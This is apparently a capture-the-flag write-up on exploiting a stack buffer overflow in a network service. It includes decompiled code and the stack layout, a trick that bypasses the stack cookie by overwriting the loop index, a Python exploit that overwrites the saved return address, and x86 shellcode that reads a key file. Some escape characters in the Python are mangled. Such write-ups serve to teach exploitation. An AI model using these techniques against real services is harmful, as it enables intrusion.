This was a really easy one. The code first read a random value as size to alloca(..)
for doing some sort of internal stack randomization. However, there is no single call to
srand(..) and thus it will allocate always the same size. The code later reads another
offset within this buffer to place the FILE * obtained by fdopen(socket, ..) there,
and this time the offset is really random (read from /dev/urandom). However we don't
really care about this, as we'll see later.
The code then reads some integer value that must satisfy an easy check and then XORs every input byte against that value; we can make the LSB zero still passing the check and therefore ignore the XOR altogether.
What follows is a text-book stack buffer overflow. The code employs its own static cookie, though:
if ( verify_userid(userid) != 0 )
{
v3 = *socketfile;
v4 = strlen(off_804C4E4);
fwrite(off_804C4E4, v4, 1u, v3);
fflush(*socketfile);
do
{
inchar = fgetc(*socketfile);
if ( inchar == -1 )
break;
userid_string[idx] = inchar ^ userid;
cont_cond = userid_string[idx++] != '\n';
}
while ( cont_cond );
result = stack_cookie;
if ( stack_cookie != 0xFF0A2000 )
{
v7 = *socketfile;
v8 = strlen(off_804C4EC);
fwrite(off_804C4EC, v8, 1u, v7);
fflush(*socketfile);
_exit(1);
}
}
However, due to the stack layout we do not even have to care about the cookie. The loop index follows the overflowed buffer right away and we can simply overwrite the LSB of the index to continue writing somewhere else:
-00000210 inchar dd ? -0000020C userid_string db 512 dup(?) -0000000C idx dd ? -00000008 stack_cookie dd ? -00000004 var_4 dd ? +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 socketfile dd ?
The following exploit uses this to directly overwrite the saved EIP after overwriting the index LSB.
import socket, sys, struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect((sys.argv[1], 8912))
s.send('b74b9d86e6cd3480n')
s.send('a6f0f000n')
print s.recv(4096)
sc = open('fbsd82_defcon.bin', 'rb').read()
sc = 'x90' ((512 - 64) - len(sc)) + sc + '?' 64
buffer = sc + struct.pack('B', 0xf) + struct.pack('<I', 0xbfbee340)
s.send(buffer + 'x0a')
print s.recv(4096)
print s.recv(4096)
I'm using a very simple shellcode for this that simply opens the file key, reads some
content and writes it to the first 64 file descriptors.
NR_open equ 5
NR_read equ 3
NR_write equ 4
NR_exit equ 1
start:
xor edx, edx
push NR_open
pop eax
push 0x79656b
mov ecx, esp
push edx
push ecx
push eax
int 0x80
.read:
mov edi, esp
push 0x7f
push edi
push eax
push NR_read
pop eax
push eax
int 0x80
.loopinit:
mov esi, eax
mov ecx, 0x40
trysend:
push esi
push edi
push ecx
push NR_write
pop eax
push eax
int 0x80
add esp, 16
.looptail:
dec ecx
jns trysend
.exit:
push NR_exit
pop eax
int 0x80